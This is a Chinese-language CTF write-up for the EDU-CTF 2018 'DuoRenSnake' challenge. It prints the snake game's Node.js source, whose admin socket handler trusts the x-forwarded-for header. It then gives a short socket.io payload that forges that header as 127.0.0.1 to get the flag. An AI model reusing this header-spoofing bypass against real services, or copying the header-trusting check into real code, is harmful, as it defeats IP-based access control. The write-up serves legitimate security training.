羊毛 | 寫 Code 雜談

願如同童話裡的山羊般咀嚼知識

0%

EDU-CTF 2018 - DuoRenSnake

開場 10 分鍾內可以解掉的水題,網站點進去是一個簡單的貪食蛇小遊戲,觀察後發現可以透過偽造 http header 來 pass check

[正文]

題目有給 source code

source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
"use strict";

const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http);
const _ = require('lodash');

const Snake = require('./snake');
const Apple = require('./apple');
var ipaddr = require('ipaddr.js');

let autoId = 0;
const GRID_SIZE = 40;
let players = [];
let apples = [];

app.get('/', function(req, res){
res.sendFile(__dirname + '/index.html');
});

http.listen(3000, () => {
console.log('listening on *:3000');
});

io.on('connection', (client) => {
let player;
let id;

client.on('auth', (opts, cb) => {
// Create player
id = ++autoId;
player = new Snake(_.assign({
id,
dir: 'right',
gridSize: GRID_SIZE,
snakes: players,
apples
}, opts));
players.push(player);
cb({ id: autoId });
});

client.on('key', (key) => {
if(player) {
player.changeDirection(key);
}
});

client.on('disconnect', () => {
_.remove(players, player);
});

client.on('admin', (msg, cb) => {
var ipString = client.handshake.headers['x-forwarded-for'] || client.request.connection.remoteAddress;
if (ipaddr.IPv4.isValid(ipString)) {

} else if (ipaddr.IPv6.isValid(ipString)) {
var ip = ipaddr.IPv6.parse(ipString);
if (ip.isIPv4MappedAddress()) {
ipString = ip.toIPv4Address().toString();
} else {
// ipString is IPv6
}
} else {
// ipString is invalid
}

console.log(ipString);
if(ipString == "127.0.0.1") {
cb("FLAG{xxxxxxxxxx}");
}
});

});

for(var i=0; i < 3; i++) {
apples.push(new Apple({
gridSize: GRID_SIZE,
snakes: players,
apples
}));
}


setInterval(() => {
players.forEach((p) => {
p.move();
});
io.emit('state', {
players: players.map((p) => ({
x: p.x,
y: p.y ,
id: p.id,
nickname: p.nickname,
points: p.points,
tail: p.tail
})),
apples: apples.map((a) => ({
x: a.x,
y: a.y
}))
});
}, 100);

Analysis

  1. 觀察 source code,不難發現在 socket admin 下,ip check 可以透過偽造 x-forwarded-for 來 pass,然後就會直接噴 flag 了。
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    client.on('admin', (msg, cb) => {
    var ipString = client.handshake.headers['x-forwarded-for'] || client.request.connection.remoteAddress;
    if (ipaddr.IPv4.isValid(ipString)) {

    } else if (ipaddr.IPv6.isValid(ipString)) {
    var ip = ipaddr.IPv6.parse(ipString);
    if (ip.isIPv4MappedAddress()) {
    ipString = ip.toIPv4Address().toString();
    } else {
    // ipString is IPv6
    }
    } else {
    // ipString is invalid
    }

    console.log(ipString);
    if(ipString == "127.0.0.1") {
    cb("FLAG{xxxxxxxxxx}");
    }
    });

Payload

package.json
1
2
3
4
5
6
7
8
{
"name": "payload",
"version": "0.0.0",
"dependencies": {
"socket.io-client": "^2.2.0"
},
"license": "MIT"
}
payload.js
1
2
3
4
5
6
7
8
"use strict";

const io = require('socket.io-client')
const socket = io.connect('http://final.kaibro.tw:10001', {
extraHeaders: { 'x-forwarded-for': "127.0.0.1" }
});

socket.emit( 'admin', 'm', m => console.log(m) );
$ node payload.js
FLAG{G3t_R3al_IP_1s_50_h4rd}

FLAG: FLAG{G3t_R3al_IP_1s_50_h4rd}